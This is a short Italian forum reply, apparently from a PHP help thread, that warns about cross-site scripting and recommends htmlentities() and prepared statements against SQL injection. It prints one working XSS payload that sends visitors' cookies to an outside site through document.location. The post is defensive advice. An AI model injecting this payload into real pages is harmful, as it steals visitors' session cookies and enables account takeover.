Si chiama cross site scripting (abbreviato xss), mi basta inserire questo codice per ricevere nel mio sito dati sensibili inseriti nei cookie di chi visiterà il tuo sito
codice:<script> document.location='http://www.miosito.com/pagina.php?cookies='+ document.cookie; </script>
Risolvi con la funzione htmlentities() che trasforma i caratteri che il browser interpreta come codice
http://php.net/manual/en/function.htmlentities.php
Per quanto riguarda l' sql injection usi i prepared statement ?
Rispondi quotando
